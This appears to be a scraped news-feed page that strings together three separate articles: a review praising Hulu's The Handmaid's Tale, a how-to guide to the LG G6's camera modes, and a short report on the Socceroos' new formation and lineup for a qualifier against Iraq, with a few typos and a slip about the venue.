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“When they slaughtered Congress, we didn’t wake up. When they blamed terrorists and suspended the Constitution, we didn’t wake up then, either,” Offred, played by Mad Men‘s Elisabeth Moss, intones via voiceover. “They said it would be temporary. Nothing changes instantaneously. In a gradually heating bathtub, you’d be boiled to death before you knew it.”

Warning: Watch even one episode of the streaming service’s incredibly well crafted new series — three episodes arrive Wednesday, April 26, then release weekly thereafter — and you’ll likely notice the water getting a degree or two warmer.

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The Handmaids Tale Review Hulu After all, the parallels between the world seen in Offred’s frequent flashbacks — an America slowly ceding control to a totalitarian theocracy bent on returning to “traditional values” — and our own current political climate are tough to ignore. But I’m getting ahead of myself.

The hour-long drama takes place in the near future, after a religious-backed opposition group stages a coup and takes control of what was known as America. When the new world order is established, it takes the form of a caste society in which fertile women like Offred are deemed “handmaids,” nothing more than “two-legged wombs” forced to wear red robes, act demure and regularly bed the privileged males who run the show in an effort to subvert a severe fertility crisis.

The women are forced to quote Scripture and act subservient. They are forbidden to read or hold property. They are encouraged to report any alleged deviance to authorities, whose philosophy on punishment is decidedly Old Testament. Gays and lesbians are denounced, removed and harmed. Free speech is no longer the norm. Misinformation and obfuscation rules.

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The overarching dread of The Handmaid’s Tale is that the world beyond the handmaids’ white, winged veils feels a heck of a lot like something that could, one day, play out in our own. Unsettling, no?

Blame the stellar cast, which includes Gilmore Girls‘ Alexis Bledel, Chuck‘s Yvonne Strahovski, The Leftovers‘ Ann Dowd and Orange Is the New Black‘s Samira Wiley. Blame the excellent team behind the scenes, which includes writer Bruce Miller (The 100) and director Reed Morano (Looking), who helmed the first three episodes. And while you’re at it, blame Atwood’s 1984 book, which provides plenty of rich story and serves as a jumping-off point for paths not taken in the source material.

The Handmaids Tale Review HuluIn the first three episodes, which Hulu made available to the media, those paths prove intriguing even for those who know the book by heart. Atwood’s work, after all, is Offred’s story: Anything that happens to anyone in her orbit is filtered through that character’s point of view. And though Hulu’s adaptation certainly centers on Offred’s experience as a slave hoping to find the 8-year-old daughter she was forced to give up — and Moss’ barely-restrained fury over her new lot in life is gorgeous to behold — the other characters are equally compelling. And when we see moments that Offred simply cannot (one book diversion pertaining to Bledel’s handmaid character, Ofglen, comes to mind), that story amplification pays off.

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Along the way, The Handmaid’s Tale takes its time dropping clues, doling out hints about how Offred’s reality came to be — and how its power structure might be dismantled — in the same way that Dowd’s handmaid-minder Aunt Lydia doles out corporal punishment: sporadically, yet with maximum impact. Why does The Commander (played by American Horror Story: Asylum‘s Joseph Fiennes) take an unsanctioned interest in Offred? What will become of the character who ends Episode 3 having undergone genital mutilation surgery against her will? Is Offred’s daughter, Hannah, still out there somewhere?

If there’s any drawback to the series, it’s that the realness of the writing and the relatability of the performances conspire to make the whole experience an unsettling one. In spite of that — hell, because of it — watch it anyway.

THE TVLINE BOTTOM LINE: With a superb ensemble and a disturbing premise, The Handmaid’s Tale is a riveting nightmare that’s well worth your time.

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]]> https://briefnews.eu/the-handmaids-tale-hulus-superb-drama-will-and-should-terrify-you/feed/ 0 Wide-angles, squares, and much more: Get the best from the LG G6’s superb camera https://briefnews.eu/wide-angles-squares-and-much-more-get-the-best-from-the-lg-g6s-superb-camera/ https://briefnews.eu/wide-angles-squares-and-much-more-get-the-best-from-the-lg-g6s-superb-camera/#respond Fri, 07 Apr 2017 14:13:51 +0000 http://briefnews.eu/wide-angles-squares-and-much-more-get-the-best-from-the-lg-g6s-superb-camera/ The G6 continues the tradition of LG phones featuring excellent cameras, with a dual-lens wide-angle rear camera as well as a wide-angle selfie cam on the front. The G6’s other party piece, its 5.7-inch 18:9 aspect ratio screen, also enhances the camera experience through a special app, and some additional features.

More: Keep your new LG G6 safe from damage with these 7 cases and covers

While it’s not hard to just pick up the G6 and go shoot some excellent pictures, it’s worth taking the time to understand its intricacies, so we’ve put together a guide to help you really make the most of this great camera phone.

Wide-angle rear camera

The main camera app is the one you’ll use most of the time, but the interface is quite busy, so it’s a good idea to learn the various controls. Holding the phone in landscape orientation, at the top centre of the display are two buttons, each showing little tree icons. The left button with a single tree icon is for the standard-angle lens, but tap the button next to it with three tree icons, and it activates the wide-angle lens. Alternatively, you can use pinch-to-zoom and switch between the two lenses. Pinch your fingers together to move from standard to wide angle views.

Camera roll preview

On the right-hand side of the display are the buttons for the camera shutter release, and the video mode, plus a preview of the last photo taken. On the far left-hand side of the screen, thanks to the 18:9 aspect ratio display, there’s a vertical preview of the last four photos taken, which can also be scrolled through with a swipe. It’s a handy alternative to jumping out of the camera app and into the Gallery app. If you feel this makes the screen look too busy, you can turn off the preview. This is found by tapping the Settings cog icon, and toggling the switch for Camera Roll.

Settings and manual mode

While you’re under Settings, it’s here that the HDR mode can be force activated, the resolution for photos and video selected, along with handy features such as a grid for the viewfinder — activate this to make composing shots easier — and geolocation tagging for your pictures. In the interests of privacy, we’d suggest turning the latter off.

More: Feel fly like a G6 with these handy tips and tricks

The G6’s camera defaults to auto mode, but if you want to experiment with manual mode — where you can adjust many aspects of the camera — tap the Auto button on the left-hand side of the screen, and select Manual. There are two manual modes, one for the still camera and another for video. Also found in this menu is a mode for taking square, 1:1 ratio pictures, for easy sharing on apps like Instagram.

Panorama, Food, Popout, and other modes

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how to use the lg g camera

Other camera modes can be found by tapping the Mode button on the left-hand side of the screen. A basic panorama mode is accompanied with a 360-degree panorama mode, and an enhanced image mode for taking pictures of food. More unusually, there’s LG’s Popout, which produces psychedelic images with different effects, by splitting the image into separate areas. Give it a try, it’s a very unusual look.

Also on the left hand side of the screen is a filter button, which looks like three overlaid circles. Tap this and choose from nine different effects, which handily show up live on the viewfinder. The filter icon on the left is shown in color when a filter is active, so you won’t forget about it.

Selfies

Flip the camera around using the button on the left of the camera viewfinder, or simply swipe up or down the screen for the same result. The front camera on the G6 also has a wide-angle mode, and it’s activated in the same way as the rear camera, except the icons have little images of people instead of trees. Be careful when in wide-angle mode, it’s easy for a finger or your palm to invade the shot if you hold the phone in an awkward way.

There are three new modes available when shooting selfies, which are adjusted using buttons running down the right hand side of the viewfinder. They’re labeled Filter, Lighting, and Skin Tone. The filters adjust the look of the entire scene, and are shown live on the screen, just like with the rear camera. Lighting and Skin Tone only affects your face, acting like a beauty mode. Mess around with both using the on-screen slider controls to get the look that suits you best.

Editing

When viewing photos in the LG G6’s gallery, there’s an Edit button at the bottom of the screen, which unusually doesn’t open LG’s own image editing suite, but Google Photos. If it doesn’t do the job, consider installing an app such as Snapseed, which will then appear in the options when you tap the Edit button.

Square Camera

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how to use the lg g camera

Square Camera makes clever use of the G6’s 18:9 (or 2:1) aspect ratio screen, by splitting the camera view into two perfect squares, and using each one differently. If you’re looking for a Square Camera app and can’t find it, don’t panic, it’s actually a widget and may have been hidden away on your phone. To get it working, hold down an empty area of home screen until you get a helicopter view of all your apps and screens, then select widgets from the menu running across the bottom of the screen. Scroll through the widgets available until you find Square Camera, then tap it to add it to a home screen.

More: Huawei P10 vs. LG G6: Battle of the big-brand flagships

Holding the phone in portrait here, the same method for switching between front and rear cameras applies: A swipe or a tap of the button. Also, the wide-angle mode is activated in the same way, along with the majority of controls for taking a picture. Tap the Square button in the top right to select manual mode for video or stills, and the filter button for live filter effects. To find Square Camera’s special modes, tap the Mode button along the top of the screen. There are four, and if you’re unsure which one to choose, tap the Question mark icon for a quick introduction.

Here’s how to get the best from them.

Snap Shot

This is Square Camera at its most basic. The viewfinder is in the top square, and when you take a photo, a preview appears in the lower square. There’s a quick delete button, or if you drag the social button — it usually defaults to a Facebook icon — across the screen, you can share it on your choice of social network, without jumping out the app.

Match Shot

Match Shot takes two shots in quick succession of each other, and presents them side-by-side. These shots can both be from the same camera, or one from the front and the other from the rear, or be video rather than stills. It’s controlled using the icon that shows two boxes over each other, with the numbers 1 or 2 inside.

When the icon shows 1 and 2, you can take two pictures at different times. When it shows 1 and 1, two photos are taken at the same time. Alternatively, look for the Gallery icon when shooting in 1/2 mode, and choose an image from the phone’s gallery to insert into one of the squares.

Guide Shot

A fast, easy way to take a photo with the same composition as another. This is a little confusing to use at first, but it’s easy once you get the hang of it. Like the G6’s other camera modes, the viewfinder appears in the top square, and all the usual modes and features apply, including switching lenses and from the front and rear camera.

The lower square shows previews of other shots you’ve taken, or some standard ones included by LG. These confuse the situation, and if you want to remove them from the preview screen, long press and select Delete. Look for the big square with a “+” in it and tap it, then choose Take Photo, and snap away. The result will appear as a new Guide Shot for use later on. Tap it to select it, the use the transparency slider to adjust how much the ghost image shows on the viewfinder. Using this, you can compose the same shot over and over, in many different situations.

More: We tried (and ranked) every smartphone at MWC, the largest mobile show of the year

In our tests, the simpler the composition, the easier it is to align the two images. Try anything too busy, and it gets very hard to match the two together.

Grid Shot

The final Square Camera mode may be the most fun. The lower square is split into four, each ready to be filled with either a still image or a 3-second video. Tap in square number one and take a photo. It should appear in the square, and automatically move on to square number two. To take a video here, and watch for the 3-second countdown in the top right of the viewfinder to help compose the clip. Add a still or video to squares three and four to complete your collage. If you want to retake one image, just tap on it again.

Our advice here is to think about the order before you start taking the shots, because you can’t rearrange them later on. It’s fun to make little stories with Grid Shot, and they’re easily shared on Facebook and Twitter, when the video clips play automatically in the post.

Gallery

When you take shots in Square Camera, they can all be seen in the standard LG Gallery app. Open it and tap the icon that looks like three stacked lines in the top left of the screen. Look down the list and find Camera Mode, then tap it. Each Square Camera mode gets its own album.

That’s it, we hope you enjoy using the LG G6 and its superb wide-angle camera — both front and back.

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The Socceroos.

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ANGE Postecoglou has taken a huge leap of faith with the Socceroos, reshaping his team dramatically in the midst of the campaign to qualify for the World Cup.

The Australian XI chosen for today’s qualifier with Iraq in Thailand will implement the new system Postecoglou has developed to take into the World Cup, with new roles for several players.

The Socceroos will play with a three-man defence anchored by Mark Milligan as sweeper, flanked by Bailey Wright and Milos Degenek, and two defensive midfielders in Mile Jedinak and Massimo Luongo. Ahead of them, Jackson Irvine and Aaron Mooy will be dual playmakers, with Mathew Leckie and Robbie Kruse give licence to roam the flanks without significant defensive responsibility.

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Upfront Tomi Juric wil lead the line in attack, while Mithc Langerak is a surprise choice in goal ahead of Mat Ryan.

It marks a significant departure for the team, especially as it was only revealed to them at the start of this week when they gathered in camp in Tehran.

The new system is the one Postecoglou believes best uses his team’s resources, both now and considering players coming through, but will open him up to accusations of overconfidence if the Socceroos don’t take a positive result from tonight’s game.

Complicating matters, the below-par pitch at PAS Stadium is now saturated after rain fell steadily all day in the Iranian capital.

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Line up: Langerak; Degenek, Milligan, Wright; Jedinak, Luongo; Kruse, Mooy, Irvine, Leckie; Juric.

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